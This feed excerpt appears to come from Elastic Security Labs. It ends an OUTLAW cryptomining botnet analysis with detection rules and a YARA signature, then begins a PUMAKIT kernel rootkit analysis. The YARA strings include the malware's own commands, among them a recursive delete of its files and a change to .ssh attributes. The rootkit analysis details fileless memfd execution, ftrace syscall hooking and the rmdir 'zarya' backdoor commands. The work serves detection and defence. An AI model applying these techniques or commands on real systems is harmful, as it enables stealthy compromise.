<p>Additionally, upon copying the OUTLAW malware to a remote host, malware prevention alerts kick in.</p>
<h3>TA009: Collection &amp; TA010: Exfiltration</h3>
<p>OUTLAW collects basic system information, credentials, and SSH details from compromised machines, primarily for tracking infected hosts and facilitating further attacks. This data is stored in a simple text file before being uploaded to a C2 server. Since this collection activity is limited to gathering system details and writing them to a file, it is not inherently suspicious on its own.</p>
<p>Exfiltration occurs when OUTLAW initiates an outbound SSH connection via sftp-server to transfer the collected information to a predefined C2 server. While this may resemble normal SSH activity, we can detect suspicious execution of file transfer utilities through ES|QL:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/exfiltration_unusual_file_transfer_utility_launched.toml">Unusual File Transfer Utility Launched</a></li>
</ul>
<h3>TA011: Command and Control</h3>
<p>OUTLAW maintains communication with its C2 infrastructure through multiple channels, allowing attackers to issue commands, exfiltrate data, and manage infected systems. We can detect several of the utilities used by the malware through the following rules:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/fbebc6f98eb1070bd96235ea432158756b3f2038/behavior/rules/linux/execution_socat_reverse_shell_or_listener_activity.toml">Socat Reverse Shell or Listener Activity</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/command_and_control_frequent_egress_netcon_from_sus_executable.toml">High Number of Egress Network Connections from Unusual Executable</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/command_and_control_suspicious_network_activity_from_unknown_executable.toml">Suspicious Network Activity to the Internet by Previously Unknown Executable</a>.</li>
</ul>
<p>The same hunting queries that were relevant for detecting the malware’s initial access attempts, can also be used to hunt for this C2 activity. Additionally, the following hunting queries can be used:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/hunting/linux/queries/low_volume_external_network_connections_from_process.toml">Low Volume External Network Connections from Process by Unique Agent</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/hunting/linux/queries/command_and_control_via_unusual_file_downloads_from_source_addresses.toml">Unusual File Downloads from Source Addresses</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/hunting/linux/queries/excessive_ssh_network_activity_unique_destinations.toml">Excessive SSH Network Activity to Unique Destinations</a></li>
</ul>
<h3>TA040: Impact</h3>
<p>OUTLAW impacts infected systems by consuming CPU resources for cryptocurrency mining and performing SSH brute-force attacks to propagate. Several CPU and memory optimizations are attempted before launching the modified XMRIG mining software, including enabling MSR write access and setting kernel parameters such as hugepages. These modifications can be detected through the following rules:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/defense_evasion_suspicious_kernel_feature_activity.toml">Suspicious Kernel Feature Activity</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/impact_msr_write_access_enabled.toml">MSR Write Access Enabled</a></li>
</ul>
<p>As OUTLAW attempts to enable MSR write access via modprobe but lacks the required permissions, kernel driver-related rules are triggered:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules/linux/persistence_kernel_driver_load_by_non_root.toml">Kernel Driver Load by Non-Root User</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules/linux/persistence_kernel_driver_load.toml">Kernel Driver Load</a></li>
</ul>
<p>These rules directly monitor for <code>init_module()</code> and <code>finit_module()</code> syscalls, through <a href="https://www.elastic.co/es/guide/en/integrations/current/auditd.html">Auditd</a>. For more information on how to set up the <a href="https://www.elastic.co/es/guide/en/integrations/current/auditd_manager.html">Auditd Manager integration</a> to capture driver events and much more, check out the <a href="https://www.elastic.co/es/security-labs/linux-detection-engineering-with-auditd">Linux Detection Engineering with Auditd</a> publication.</p>
<p>Simultaneously, SSH brute-force attempts are launched from the infected host, triggering:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/impact_potential_bruteforce_malware_infection.toml">Potential Malware-Driven SSH Brute Force Attempt</a></li>
</ul>
<p>Throughout its execution, OUTLAW runs kill scripts to terminate competing malware or leftover processes from previous infections. This behavior triggers:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/defense_evasion_kill_command_executed.toml">Kill Command Executed</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/cross-platform/execution_kill_command_executed_from_binary_in_unusual_location.toml">Kill Command Executed from Binary in Unusual Location</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/cross-platform/defense_evasion_kill_command_executed_from_a_hidden_process.toml">Kill Command Executed from a Hidden Process</a></li>
</ul>
<h2>Indicators of Compromise (IOCs)</h2>
<p>The complete set of indicators can be found as a bundle on <a href="https://github.com/elastic/labs-releases/tree/main/indicators/outlaw">Github</a>.</p>
<h4>Yara Signatures</h4>
<pre><code class="language-yara">rule Linux_Hacktool_Outlaw_cf069e73 {
    meta:
        author = &quot;Elastic Security&quot;
        description = &quot;OUTLAW SSH bruteforce component fom the Dota3 package&quot;
        reference_sample = &quot;c3efbd6b5e512e36123f7b24da9d83f11fffaf3023d5677d37731ebaa959dd27&quot;
      
    strings:
        $ssh_key_1 = &quot;MIIJrTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQI8vKBZRGKsHoCAggA&quot;
        $ssh_key_2 = &quot;MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAECBBBC3juWsJ7DsDd2wH2XI+vUBIIJ&quot;
        $ssh_key_3 = &quot;UCQ2viiVV8pk3QSUOiwionAoe4j4cBP3Ly4TQmpbLge9zRfYEUVe4LmlytlidI7H&quot;
        $ssh_key_4 = &quot;O+bWbjqkvRXT9g/SELQofRrjw/W2ZqXuWUjhuI9Ruq0qYKxCgG2DR3AcqlmOv54g&quot;
        $path_1 = &quot;/home/eax/up&quot;
        $path_2 = &quot;/var/tmp/dota&quot;
        $path_3 = &quot;/dev/shm/ip&quot;
        $path_4 = &quot;/dev/shm/p&quot;
        $path_5 = &quot;/var/tmp/.systemcache&quot;
        $cmd_1 = &quot;cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'&quot;
        $cmd_2 = &quot;cd ~; chattr -ia .ssh; lockr -ia .ssh&quot;
        $cmd_3 = &quot;sort -R b | awk '{ if ( NF == 2 ) print } '&gt; p || cat b | awk '{ if ( NF == 2 ) print } '&gt; p; sort -R a&quot;
        $cmd_4 = &quot;rm -rf /var/tmp/dota*&quot;
        $cmd_5 = &quot;rm -rf a b c d p ip ab.tar.gz&quot;
    condition:
        (all of ($ssh_key*)) or (3 of ($path*) and 3 of ($cmd*))
}
</code></pre>
<h4>SIEM and Endpoint Rules Overview by MITRE ATT&amp;CK Tactic</h4>
<table>
<thead>
<tr>
<th>Technique ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>TA001: Initial Access</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_linux_ssh_bruteforce_external.toml">Potential External Linux SSH Brute Force Detected</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_successful_linux_ssh_bruteforce.toml">Potential Successful SSH Brute Force Attack</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_first_time_public_key_authentication.toml">Successful SSH Authentication from Unusual SSH Public Key</a> &lt;br /&gt;        <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_user.toml">Successful SSH Authentication from Unusual User</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_ip.toml">Successful SSH Authentication from Unusual IP Address</a></td>
</tr>
<tr>
<td><strong>TA002: Execution</strong></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/persistence_file_downloaded_from_suspicious_source_by_web_server.toml">File Downloaded from Suspicious Source by Web Server</a> &lt;br /&gt; <a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/yara/rules/Linux_Trojan_Pornoasset.yar">Linux.Trojan.Pornoasset</a> &lt;br /&gt; <a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/execution_script_executed_through_unusual_parent_process.toml">Script Executed Through Unusual Parent Process</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/execution_suspicious_executable_running_system_commands.toml">Suspicious System Commands Executed by Previously Unknown Executable</a></td>
</tr>
<tr>
<td><strong>TA003: Persistence</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_cron_job_creation.toml">Cron Job Created or Modified</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml">SSH Authorized Keys File Modification</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td><strong>TA005: Defense Evasion</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_interpreter_launched_from_decoded_payload.toml">Base64 Decoded Payload Piped to Interpreter</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_base64_decoding_activity.toml">Unusual Base64 Encoding/Decoding Activity</a></td>
</tr>
<tr>
<td><strong>TA006: Credential Access</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml">SSH Authorized Keys File Modification</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/defense_evasion_authorized_keys_file_deletion.toml">SSH Authorized Keys File Deletion</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/persistence_user_credential_modification_via_echo.toml">Linux User Account Credential Modification</a></td>
</tr>
<tr>
<td><strong>TA007: Discovery</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_linux_system_information_discovery.toml">Linux System Information Discovery</a></td>
</tr>
<tr>
<td><strong>TA008: Lateral Movement</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/e28512a32fc643651a6bc91444e460ca8f5164be/rules/linux/discovery_port_scanning_activity_from_compromised_host.toml">Potential Port Scanning Activity from Compromised Host</a></td>
</tr>
<tr>
<td><strong>TA009 &amp; TA010: Collection &amp; Exfiltration</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/exfiltration_unusual_file_transfer_utility_launched.toml">Unusual File Transfer Utility Launched</a></td>
</tr>
<tr>
<td><strong>TA011: Command and Control</strong></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/fbebc6f98eb1070bd96235ea432158756b3f2038/behavior/rules/linux/execution_socat_reverse_shell_or_listener_activity.toml">Socat Reverse Shell or Listener Activity</a></td>
</tr>
<tr>
<td><strong>TA040: Impact</strong></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/defense_evasion_suspicious_kernel_feature_activity.toml">Suspicious Kernel Feature Activity</a></td>
</tr>
</tbody>
</table>
<h2>Conclusion</h2>
<p>OUTLAW exemplifies how even unsophisticated malware can persist and scale effectively in modern environments. Despite lacking advanced evasion techniques, its combination of SSH brute-force attacks, self-replication, and modular components allows it to maintain a long-running botnet. OUTLAW ensures continuous expansion with minimal attacker intervention by leveraging compromised hosts to propagate infections further.</p>
<p>Our honeypot experiment provided a rare glimpse into the attacker's real-world behavior, confirming that while much of OUTLAW’s operation is automated, there are moments of direct human interaction. The ability to observe manual commands, reconnaissance attempts, and even simple typographical errors highlights an often-overlooked aspect of botnet maintenance—operator-driven quality control. These insights reinforce the need for detection strategies that account not just for automated attacks but also for manual post-compromise activity.</p>
<p>By understanding how OUTLAW operates, spreads, and monetizes infections, defenders can develop robust detection strategies to mitigate its impact. This report provides actionable SIEM rules, threat-hunting queries, and forensic insights, enabling security teams to stay ahead of similar evolving threats.</p>
<h2>References</h2>
<p>[1] CounterCraft, <a href="https://www.countercraftsec.com/blog/dota3-malware-again-and-again/">DOTA3 Malware Again and Again</a></p>
<p>[2] Juniper Networks, <a href="https://blogs.juniper.net/en-us/threat-research/dota3-is-your-internet-of-things-device-moonlighting">DOTA3: Is Your Internet of Things Device Moonlighting?</a></p>
<p>[3] SANS ISC, <a href="https://isc.sans.edu/diary/Hygiene+Hygiene+Hygiene+Guest+Diary/31260">Hygiene Hygiene Hygiene</a></p>
<p>[4] Darktrace, <a href="https://darktrace.com/blog/outlaw-returns-uncovering-returning-features-and-new-tactics">Outlaw Returns: Uncovering Returning Features and New Tactics</a></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/outlaw.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Declawing PUMAKIT]]></title>
            <link>https://www.elastic.co/es/security-labs/declawing-pumakit</link>
            <guid>declawing-pumakit</guid>
            <pubDate>Thu, 12 Dec 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[PUMAKIT is a sophisticated loadable kernel module (LKM) rootkit that employs advanced stealth mechanisms to hide its presence and maintain communication with command-and-control servers.]]></description>
            <content:encoded><![CDATA[<h2>PUMAKIT at a glance</h2>
<p>PUMAKIT is a sophisticated piece of malware, initially uncovered during routine threat hunting on VirusTotal and named after developer-embedded strings found within its binary. Its multi-stage architecture consists of a dropper (<code>cron</code>), two memory-resident executables (<code>/memfd:tgt</code> and <code>/memfd:wpn</code>), an LKM rootkit module, and a shared object (SO) userland rootkit.</p>
<p>The rootkit component, referenced by the malware authors as “PUMA&quot;,  employs an internal Linux function tracer (ftrace) to hook 18 different syscalls and several kernel functions, enabling it to manipulate core system behaviors. Unique methods are used to interact with PUMA, including using the rmdir() syscall for privilege escalation and specialized commands for extracting configuration and runtime information. Through its staged deployment, the LKM rootkit ensures it only activates when specific conditions, such as secure boot checks or kernel symbol availability, are met. These conditions are verified by scanning the Linux kernel, and all necessary files are embedded as ELF binaries within the dropper.</p>
<p>Key functionalities of the kernel module include privilege escalation, hiding files and directories, concealing itself from system tools, anti-debugging measures, and establishing communication with command-and-control (C2) servers.</p>
<h2>Key takeaways</h2>
<ul>
<li><strong>Multi-Stage Architecture</strong>: The malware combines a dropper, two memory-resident executables, an LKM rootkit, and an SO userland rootkit, activating only under specific conditions.</li>
<li><strong>Advanced Stealth Mechanisms</strong>: Hooks 18 syscalls and several kernel functions using <code>ftrace()</code> to hide files, directories, and the rootkit itself, while evading debugging attempts.</li>
<li><strong>Unique Privilege Escalation</strong>: Utilizes unconventional hooking methods like the <code>rmdir()</code> syscall for escalating privileges and interacting with the rootkit.</li>
<li><strong>Critical Functionalities</strong>: Includes privilege escalation, C2 communication, anti-debugging, and system manipulation to maintain persistence and control.</li>
</ul>
<h2>PUMAKIT Discovery</h2>
<p>During routine threat hunting on VirusTotal, we came across an intriguing binary named <a href="https://www.virustotal.com/gui/file/30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f">cron</a>. The binary was first uploaded on September 4, 2024, with 0 detections, raising suspicions about its potential stealthiness. Upon further examination, we discovered another related artifact, <code>/memfd:wpn (deleted)</code><a href="https://www.virustotal.com/gui/file/71cc6a6547b5afda1844792ace7d5437d7e8d6db1ba995e1b2fb760699693f24">71cc6a6547b5afda1844792ace7d5437d7e8d6db1ba995e1b2fb760699693f24</a>, uploaded on the same day, also with 0 detections.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image13.png" alt="VirusTotal Hunting" /></p>
<p>What caught our attention were the distinct strings embedded in these binaries, hinting at potential manipulation of the <code>vmlinuz</code> kernel package in <code>/boot/</code>. This prompted a deeper analysis of the samples, leading to interesting findings about their behavior and purpose.</p>
<h2>PUMAKIT code analysis</h2>
<p>PUMAKIT, named after its embedded LKM rootkit module (named &quot;PUMA&quot; by the malware authors) and Kitsune, the SO userland rootkit, employs a multi-stage architecture, starting with a dropper that initiates an execution chain. The process begins with the <code>cron</code> binary, which creates two memory-resident executables: <code>/memfd:tgt (deleted)</code> and <code>/memfd:wpn (deleted)</code>. While <code>/memfd:tgt</code> serves as a benign Cron binary, <code>/memfd:wpn</code> acts as a rootkit loader. The loader is responsible for evaluating system conditions, executing a temporary script (<code>/tmp/script.sh</code>), and ultimately deploying the LKM rootkit. The LKM rootkit contains an embedded SO file - Kitsune - to interact with the rootkit from userspace. This execution chain is displayed below.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image10.png" alt="PUMAKIT infection chain" title="PUMAKIT infection chain" /></p>
<p>This structured design enables PUMAKIT to execute its payload only when specific criteria are met, ensuring stealth and reducing the likelihood of detection. Each stage of the process is meticulously crafted to hide its presence, leveraging memory-resident files and precise checks on the target environment.</p>
<p>In this section, we will dive deeper into the code analysis for the different stages, exploring its components and their role in enabling this sophisticated multi-stage malware.</p>
<h3>Stage 1: Cron overview</h3>
<p>The <code>cron</code> binary acts as a dropper. The function below serves as the main logic handler in a PUMAKIT malware sample. Its primary goals are:</p>
<ol>
<li>Check command-line arguments for a specific keyword (<code>&quot;Huinder&quot;</code>).</li>
<li>If not found, embed and run hidden payloads entirely from memory without dropping them into the filesystem.</li>
<li>If found, handle specific “extraction” arguments to dump its embedded components to disk and then gracefully exit.</li>
</ol>
<p>In short, the malware tries to remain stealthy. If run usually (without a particular argument), it executes hidden ELF binaries without leaving traces on disk, possibly masquerading as a legitimate process (like <code>cron</code>).</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image14.png" alt="The main function of the initial dropper" title="The main function of the initial dropper" /></p>
<p>If the string <code>Huinder</code> isn’t found among the arguments, the code inside <code>if (!argv_)</code> executes:</p>
<p><code>writeToMemfd(...)</code>: This is a hallmark of fileless execution. <code>memfd_create</code> allows the binary to exist entirely in memory. The malware writes its embedded payloads (<code>tgtElfp</code> and <code>wpnElfp</code>) into anonymous file descriptors rather than dropping them onto disk.</p>
<p><code>fork()</code> and <code>execveat()</code>: The malware forks into a child and parent process. The child redirects its standard output and error to <code>/dev/null</code> to avoid leaving logs and then executes the “weapon” payload (<code>wpnElfp</code>) using <code>execveat()</code>. The parent waits for the child and then executes the “target” payload (<code>tgtElfp</code>). Both payloads are executed from memory, not from a file on disk, making detection and forensic analysis more difficult.</p>
<p>The choice of <code>execveat()</code> is interesting—it’s a newer syscall that allows executing a program referred to by a file descriptor. This further supports the fileless nature of this malware’s execution.</p>
<p>We have identified that the <code>tgt</code> file is a legitimate <code>cron</code> binary. It is loaded in memory and executed after the rootkit loader (<code>wpn</code>) is executed.</p>
<p>After execution, the binary remains active on the host.</p>
<pre><code class="language-bash">&gt; ps aux
root 2138 ./30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f
</code></pre>
<p>Below is a listing of the file descriptors for this process. These file descriptors show the memory-resident files created by the dropper.</p>
<pre><code class="language-bash">root@debian11-rg:/tmp# ls -lah /proc/2138/fd
total 0
dr-x------ 2 root root  0 Dec  6 09:57 .
dr-xr-xr-x 9 root root  0 Dec  6 09:57 ..
lr-x------ 1 root root 64 Dec  6 09:57 0 -&gt; /dev/null
l-wx------ 1 root root 64 Dec  6 09:57 1 -&gt; /dev/null
l-wx------ 1 root root 64 Dec  6 09:57 2 -&gt; /dev/null
lrwx------ 1 root root 64 Dec  6 09:57 3 -&gt; '/memfd:tgt (deleted)'
lrwx------ 1 root root 64 Dec  6 09:57 4 -&gt; '/memfd:wpn (deleted)'
lrwx------ 1 root root 64 Dec  6 09:57 5 -&gt; /run/crond.pid
lrwx------ 1 root root 64 Dec  6 09:57 6 -&gt; 'socket:[20433]'
</code></pre>
<p>Following the references we can see the binaries that are loaded in the sample. We can simply copy the bytes into a new file for further analysis using the offset and sizes.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image12.png" alt="Embedded ELF binary" title="Embedded ELF binary" /></p>
<p>Upon extraction, we find the following two new files:</p>
<ul>
<li><code>Wpn</code>: <code>cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe</code></li>
<li><code>Tgt</code>: <code>934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136</code></li>
</ul>
<p>We now have the dumps of the two memory files.</p>
<h3>Stage 2: Memory-resident executables overview</h3>
<p>Examining the <a href="https://www.virustotal.com/gui/file/934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136">/memfd:tgt</a> ELF file, it is clear that this is the default Ubuntu Linux Cron binary. There appear to be no modifications to the binary.</p>
<p>The <a href="https://www.virustotal.com/gui/file/cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe">/memfd:wpn</a> file is more interesting, as it is the binary responsible for loading the the LKM rootkit. This rootkit loader attempts to hide itself by mimicking it as the <code>/usr/sbin/sshd</code> executable. It checks for particular prerequisites, such as whether secure boot is enabled and the required symbols are available, and if all conditions are met, it loads the kernel module rootkit.</p>
<p>Looking at the execution in Kibana, we can see that the program checks whether secure boot is enabled by querying <code>dmesg</code>. If the correct conditions are met, a shell script called <code>script.sh</code> is dropped in the <code>/tmp</code> directory and executed.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image6.png" alt="Execution flow of the bash script and rootkit loader starting from /dev/fd/4" title="Execution flow of the bash script and rootkit loader starting from /dev/fd/4" /></p>
<p>This script contains logic for inspecting and processing files based on their compression formats.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image9.png" alt="The Bash script that is used to decompress the kernel image" title="The Bash script that is used to decompress the kernel image" /></p>
<p>Here's what it does:</p>
<ul>
<li>The function <code>c()</code> inspects files using the <code>file</code> command to verify whether they are ELF binaries. If not, the function returns an error.</li>
<li>The function <code>d()</code> attempts to decompress a given file using various utilities like <code>gunzip</code>, <code>unxz</code>, <code>bunzip2</code>, and others based on signatures of supported compression formats. It employs <code>grep</code> and <code>tail</code> to locate and extract specific compressed segments.</li>
<li>The script attempts to locate and process a file (<code>$i</code>) into <code>/tmp/vmlinux</code>.</li>
</ul>
<p>After the execution of <code>/tmp/script.sh</code>, the file <code>/boot/vmlinuz-5.10.0-33-cloud-amd64</code> is used as input. The <code>tr</code> command is employed to locate gzip's magic numbers (<code>\037\213\010</code>). Subsequently, a portion of the file starting at the byte offset <code>+10957311</code> is extracted using <code>tail</code>, decompressed with <code>gunzip</code>, and saved as <code>/tmp/vmlinux</code>. The resulting file is then verified to determine if it is a valid ELF binary.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image4.png" alt="The process of determining that the decompressing has succeeded " title="The process of determining that the decompressing has succeeded " /></p>
<p>This sequence is repeated multiple times until all entries within the script have been passed into function <code>d()</code>.</p>
<pre><code>d '\037\213\010' xy gunzip
d '\3757zXZ\000' abcde unxz
d 'BZh' xy bunzip2
d '\135\0\0\0' xxx unlzma
d '\211\114\132' xy 'lzop -d'
d '\002!L\030' xxx 'lz4 -d'
d '(\265/\375' xxx unzstd
</code></pre>
<p>This process is shown below.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image7.png" alt="" /></p>
<p>After running through all of the items in the script, the <code>/tmp/vmlinux</code> and <code>/tmp/script.sh</code> files are deleted.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image3.png" alt="Deleting the script and unpacked kernel" title="Deleting the script and unpacked kernel" /></p>
<p>The script's primary purpose is to verify whether specific conditions are satisfied and, if they are, to set up the environment for deploying the rootkit using a kernel object file.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image5.png" alt="Rootkit loader looking for symbol offsets" title="Rootkit loader looking for symbol offsets" /></p>
<p>As shown in the image above, the loader looks for <code>__ksymtab</code> and <code>__kcrctab</code> symbols in the Linux Kernel file and stores the offsets.</p>
<p>Several strings show that the rootkit developers refer to their rootkit as “PUMA&quot; within the dropper. Based on the conditions, the program outputs messages such as:</p>
<pre><code class="language-python">PUMA %s
[+] PUMA is compatible
[+] PUMA already loaded
</code></pre>
<p>Furthermore, the kernel object file contains a section named <code>.puma-config</code>, reinforcing the association with the rootkit.</p>
<h3>Stage 3: LKM rootkit overview</h3>
<p>In this section, we take a closer look at the kernel module to understand its underlying functionality. Specifically, we will examine its symbol lookup features, hooking mechanism, and the key syscalls it modifies to achieve its goals.</p>
<h4>LKM rootkit overview: symbol lookup and hooking mechanism</h4>
<p>The LKM rootkit's ability to manipulate system behavior begins with its use of the syscall table and its reliance on kallsyms_lookup_name() for symbol resolution. Unlike modern rootkits targeting kernel versions 5.7 and above, the rootkit does not use <code>kprobes</code>, indicating it is designed for older kernels.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image1.png" alt="Resolving a pointer to the sys_call_table using kallsyms_lookup_name" title="Resolving a pointer to the sys_call_table using kallsyms_lookup_name" /></p>
<p>This choice is significant because, prior to kernel version 5.7, <code>kallsyms_lookup_name()</code> was exported and could be easily leveraged by modules, even those without proper licensing.</p>
<p>In February 2020, kernel developers debated the unexporting of <code>kallsyms_lookup_name()</code> to prevent misuse by unauthorized or malicious modules. A common tactic involved adding a fake <code>MODULE_LICENSE(&quot;GPL&quot;)</code> declaration to circumvent licensing checks, allowing these modules to access non-exported kernel functions. The LKM rootkitdemonstrates this behavior, as evident from its strings:</p>
<pre><code>name=audit
license=GPL
</code></pre>
<p>This fraudulent use of the GPL license ensures the rootkit can call <code>kallsyms_lookup_name()</code> to resolve function addresses and manipulate kernel internals.</p>
<p>In addition to its symbol resolution strategy, the kernel module employs the <code>ftrace()</code> hooking mechanism to establish its hooks. By leveraging <code>ftrace()</code>, the rootkit effectively intercepts syscalls and replaces their handlers with custom hooks.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image11.png" alt="The LKM rootkit leverages ftrace for hooking" title="The LKM rootkit leverages ftrace for hooking" /></p>
<p>Evidence of this is e.g. the usage of <code>unregister_ftrace_function</code> and <code>ftrace_set_filter_ip</code> as shown in the snippet of code above.</p>
<h4>LKM rootkit overview: hooked syscalls overview</h4>
<p>We analyzed the rootkit's syscall hooking mechanism to understand the scope of PUMA's interference with system functionality. The following table summarizes the syscalls hooked by the rootkit, the corresponding hooked functions, and their potential purposes.</p>
<p>By viewing the <code>cleanup_module()</code> function, we can see the <code>ftrace()</code> hooking mechanism being reverted by using the <code>unregister_ftrace_function()</code> function. This guarantees that the callback is no longer being called. Afterward, all syscalls are returned to point to the original syscall rather than the hooked syscall. This gives us a clean overview of all syscalls that were hooked.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image15.png" alt="Cleanup of all the hooked syscalls" title="Cleanup of all the hooked syscalls" /></p>
<p>In the following sections, we will take a closer look at a few of the hooked syscalls.</p>
<h4>LKM rootkit overview: rmdir_hook()</h4>
<p>The <code>rmdir_hook()</code> in the kernel module plays a critical role in the rootkit’s functionality, enabling it to manipulate directory removal operations for concealment and control. This hook is not limited to merely intercepting <code>rmdir()</code> syscalls but extends its functionality to enforce privilege escalation and retrieve configuration details stored within specific directories.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/declawing-pumakit/image2.png" alt="Start of the rmdir hook code" title="Start of the rmdir hook code" /></p>
<p>This hook has several checks in place. The hook expects the first characters to the <code>rmdir()</code> syscall to be <code>zarya</code>. If this condition is met, the hooked function checks the 6th character, which is the command that gets executed. Finally, the 8th character is checked, which can contain process arguments for the command that is being executed. The structure looks like: <code>zarya[char][command][char][argument]</code>. Any special character (or none) can be placed between <code>zarya</code> and the commands and arguments.</p>
<p>As of the publication date, we have identified the following commands:</p>
<table>
<thead>
<tr>
<th>Command</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>zarya.c.0</code></td>
<td>Retrieve the config</td>
</tr>
<tr>
<td><code>zarya.t.0</code></td>
<td>Test the working</td>
</tr>
<tr>
<td><code>zarya.k.&lt;pid&gt;</code></td>
<td>Hide a PID</td>
</tr>
<tr>
<td><code>zarya.v.0</code></td>
<td>Get the running version</td>
</tr>
</tbody>
</table>
